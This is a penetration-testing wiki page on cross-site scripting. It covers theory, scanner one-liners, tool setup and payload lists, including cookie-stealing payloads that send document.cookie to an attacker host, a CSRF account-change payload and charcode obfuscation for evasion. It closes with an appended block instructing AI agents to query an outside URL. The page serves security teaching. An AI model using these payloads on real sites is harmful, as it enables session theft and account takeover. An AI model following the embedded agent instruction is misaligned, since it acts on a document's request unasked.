# XSS (Cross-Site Scripting)

## Theory

Cross-Site Scripting (XSS) is a security vulnerability that occurs when an application includes untrusted data in a web page. Attackers can inject malicious scripts into web pages viewed by other users. These scripts execute in the context of a user's browser, which can lead to a wide range of attacks, such as stealing cookies, session tokens, or sensitive data, defacing websites, or redirecting users to malicious sites.

There are three major types of XSS:

* **Stored XSS**: The injected payload is permanently stored on the server and served to other users when they access the page.
* **Reflected XSS**: The payload is included in the page as a result of a user action, like clicking on a malicious link or submitting a form.
* **DOM-based XSS**: while stored and reflected XSS attacks exploit vulnerabilities in the server-side code, a DOM-based XSS exploits client-side ones (e.g. JavaScript used to help dynamically render a page). DOM-based XSS usually affect user inputs that are temporarily reflected, just like reflected XSS attacks.

## Practice

### Tools

{% tabs %}
{% tab title="One-Liners" %}
Here are some handy one-liners to automate XSS scans on domains using tools like [gau](https://github.com/lc/gau), [hakrawler](https://github.com/hakluke/hakrawler), [waybackurls](https://github.com/tomnomnom/waybackurls), [katana](https://github.com/projectdiscovery/katana), [uro](https://github.com/s0md3v/uro), [qsreplace](https://github.com/tomnomnom/qsreplace), [httpx](https://github.com/projectdiscovery/httpx), [Gxss](https://github.com/KathanP19/Gxss), [Dalfox](https://github.com/hahwul/dalfox), [Gospider](https://github.com/jaeles-project/gospider).

{% hint style="success" %}
It may be usefull for bug bounty hunting
{% endhint %}

{% hint style="info" %}
**domains.txt** -> text file containing domain names (ex: test.domain.com)

**urls.txt** -> text file containing URLs (ex: <http://test.domain.com>)
{% endhint %}

```bash
# HTTPX
cat domains.txt | (gau || hakrawler || waybackurls || katana) | grep -Ev "\.(jpeg|jpg|png|ico|gif|css|woff|svg)$" | uro | grep =  | qsreplace "<img src=x onerror=alert(1)>" | httpx -silent -nc -mc 200 -mr "<img src=x onerror=alert(1)>"

# Dalfox
cat domains.txt | (gau || hakrawler || waybackurls || katana) | httpx -silent | Gxss -c 100 -p Xss | sort -u |grep http| dalfox pipe

# Curl
cat domains.txt | (gau || hakrawler || waybackurls || katana) | grep '=' |qsreplace '"><script>alert(1)</script>' | while read host do ; do curl -s --path-as-is --insecure "$host" | grep -qs "<script>alert(1)</script>" && echo "$host \033[0;31m" Vulnerable "\033[0m";done

# URLS and Dalfox
gospider -S urls.txt -c 10 -d 5 --blacklist ".(jpg|jpeg|gif|css|tif|tiff|png|ttf|woff|woff2|ico|pdf|svg|txt)" --other-source | grep -e "code-200" | awk '{print $5}'| grep "=" | qsreplace -a | dalfox pipe

# Dalfox, gf
cat domains.txt | (gau || hakrawler || waybackurls || katana) | grep '=' | gf xss | sed 's/=.*/=/' | sort -u | dalfox pipe

# gf, uro, dalfox
cat urls.txt | gf xss | uro | dalfox pipe --silence | tee -a xss_found.txt

# gf, uro, qsreplace, airixss
cat urls.txt | gf xss | uro | qsreplace '"><img src=x onerror=alert(1)>' | airixss -payload "alert(1)" | tee xss_found.txt
```

{% endtab %}

{% tab title="XSStrike" %}
[XSStrike](https://github.com/s0md3v/XSStrike) (Python) can be used to scan website for XSS

```bash
python xsstrike.py -u https://target.url/
```

{% endtab %}

{% tab title="Dalfox" %}
[Dalfox](https://github.com/hahwul/dalfox) is a powerful open-source XSS scanner and utility focused on automation.

```bash
# Scan an URL
dalfox url http://testphp.vulnweb.com/listproducts.php?cat=1

# From an URLs file
cat urls.txt | dalfox pipe
```

{% endtab %}

{% tab title="XSSer" %}
[XSSer](https://github.com/epsylon/xsser) (Python) is a tool that can detect, exploit and report XSS vulnerabilities on a web application

```bash
# --Cl : Crawl only local target(s)
# -c : Number of urls to crawl on target(s)
# --Cw: Deeping level of crawler: 1-5
# -s: show advanced statistics output results
# --auto: Inject a list of vectors provided by XSSer
# --xml: Export to XML
python xsser -u https://target.url -c 50 --Cw 1 --Cl -s --threads 5 --timeout 30 --retries 1 --delay 0 --auto --xml out.xml
```

{% endtab %}

{% tab title="toxssIn" %}
[toxssin](https://github.com/t3l3machus/toxssin) (Python) is an open-source penetration testing tool that automates the process of exploiting Cross-Site Scripting (XSS) vulnerabilities. It consists of an https server that works as an interpreter for the traffic generated by the malicious JavaScript payload that powers this tool (toxin.js).

```bash
# Generate certificates
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365

# Start toxssin server
python3 toxssin.py -u https://your.domain.com -c /your/certificate.pem -k /your/privkey.pem
```

On the target side, XSS payload should looks like:

```html
<script url="https://your.domain.com/handler.js"></script>
```

{% endtab %}

{% tab title="JS-Tap" %}
[JS-Tap](https://github.com/hoodoer/JS-Tap) is a generic JavaScript payload and supporting software to help red teamers attack webapps. The JS-Tap payload can be used as an XSS payload or as a post exploitation implant.

The JS-Tap payload is contained in the `telemlib.js` file. This file has not been obfuscated. Prior to using in an engagement strongly consider changing the naming of endpoints, stripping comments, and highly obfuscating the payload.

```bash
# Configure nginx and payload as proxy
# https://trustedsec.com/blog/js-tap-mark-ii-now-with-c2-shenanigans

# Edit payload conf and jsTapServer.py, Start JS-Tap server
./jstapRun.sh
```

On the target side, XSS payload should looks like:

```html
<script url="https://your.domain.com/telemlib.js"></script>
```

{% endtab %}
{% endtabs %}

### Enumeration - Find XSS Vulnerabilities

We have to identify input vectors that may not be properly sanitized and that are stored or reflected. For example:

* URI parameters for reflected and DOM-based XSS
* Other user inputs in forums, chats, comments, posts, and other stored content for stored XSS
* HTTP headers like Cookies (and even User-Agents in some cases)

We can input special characters and observe the output to determine if any of the special characters return unfiltered. The most common special characters used for this purpose include:

```
< > ' " { } ;
```

The following [website](https://transformations.jobertabma.nl/) (or [Github](https://github.com/jobertabma/transformations)) can assist in recognizing the alterations made to user inputs, which can aid in circumventing filters and modifications, enabling the exploitation of XSS vulnerabilities.

### Payloads

{% tabs %}
{% tab title="PoC" %}
Generally we will use following payloads as a proof of concept. It will open an alert window.

```html
// Classic Payloads
<script>alert('XSS');</script>
<IMG SRC=JaVaScRiPt:alert('XSS')>
<IMG onmouseover="alert('XSS')">
<<SCRIPT>alert("XSS");//<</SCRIPT>
<A HRef=//X55.is AutoFocus %26%2362 OnFocus%0C=import(href)>

// Useful payloads
<K OnPointerRawUpdate=alert(1)>
<K OnPointerMove=alert(1)>
\’/alert(1)//
<K ContentEditable AutoFocus OnFocus=alert(1)>
<Svg OnLoad=alert(1)>
<Img Src=//X55.is OnLoad=import(src)>
```

{% endtab %}

{% tab title="Stealing Cookies" %}
We may send back user cookies to our own webserver using following payloads

```html
<script>var i=new Image;i.src="http://ATTACKING_IP/?"+document.cookie;</script>
<img src=x onerror=this.src='http://ATTACKING_IP/?'+document.cookie;>
<img src=x onerror="this.src='http://ATTACKING_IP/?'+document.cookie; this.removeAttribute('onerror');">
```

On the attacking webserver, we may use [XSS-cookie-stealer.py](https://github.com/lnxg33k/misc/blob/master/XSS-cookie-stealer.py) to logs each inbound HTTP connection and all the cookies contained in that connection.

{% hint style="info" %}
[The HttpOnly flag](https://owasp.org/www-community/HttpOnly) instructs the browser to deny JavaScript access to the cookie. If this flag is set, we won't be able to steal the cookies.
{% endhint %}
{% endtab %}

{% tab title="CSRF" %}
We may use an XSS vulnerability to perform a CSRF (Cross-Site-Request-Forgery) and make actions on behalf of the user.

```html
#Exemple from https://portswigger.net/web-security/cross-site-scripting/exploiting/lab-perform-csrf
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/my-account',true);
req.send();
function handleResponse() {
    var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
    var changeReq = new XMLHttpRequest();
    changeReq.open('post', '/my-account/change-email', true);
    changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
```

We may improve our payload for more reliability. First, compress it using [this website](https://jscompress.com/), and then past it as the following `encode_to_javascript` function argument

```javascript
function encode_to_javascript(string) {
            var input = string
            var output = '';
            for(pos = 0; pos < input.length; pos++) {
                output += input.charCodeAt(pos);
                if(pos != (input.length - 1)) {
                    output += ",";
                }
            }
            return output;
        }
        
let encoded = encode_to_javascript('insert_minified_javascript')
console.log(encoded)
```

Run the function and copy result (charcode) to our final payload

```html
<script>eval(String.fromCharCode(121,19,32 [...] 120,95,42,31))</script>
```

{% endtab %}
{% endtabs %}

### CSP

CSP is a browser security mechanism that aims to mitigate [XSS](https://portswigger.net/web-security/cross-site-scripting) and some other attacks. It works by restricting the resources (such as scripts and images) that a page can load and restricting whether a page can be framed by other pages. To enable CSP, a response needs to include an HTTP response header called `Content-Security-Policy` with a value containing the policy. The policy itself consists of one or more directives, separated by semicolons.

{% tabs %}
{% tab title="CSPBypass" %}
[**CSPBypass.com**](https://cspbypass.com/), is an [open-source tool](https://github.com/renniepak/CSPBypass) designed to help ethical hackers bypass restrictive Content Security Policies (CSP) and exploit XSS (Cross-Site Scripting) vulnerabilities on sites where injections are blocked by CSPs that only allow certain whitelisted domains.
{% endtab %}
{% endtabs %}

## Resources

{% embed url="<https://owasp.org/www-community/attacks/xss/>" %}

{% embed url="<https://portswigger.net/web-security/cross-site-scripting>" %}

{% embed url="<https://www.thehacker.recipes/web/inputs/xss>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://red.infiltr8.io/web-pentesting/web-vulnerabilities/client-side/xss-cross-site-scripting.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
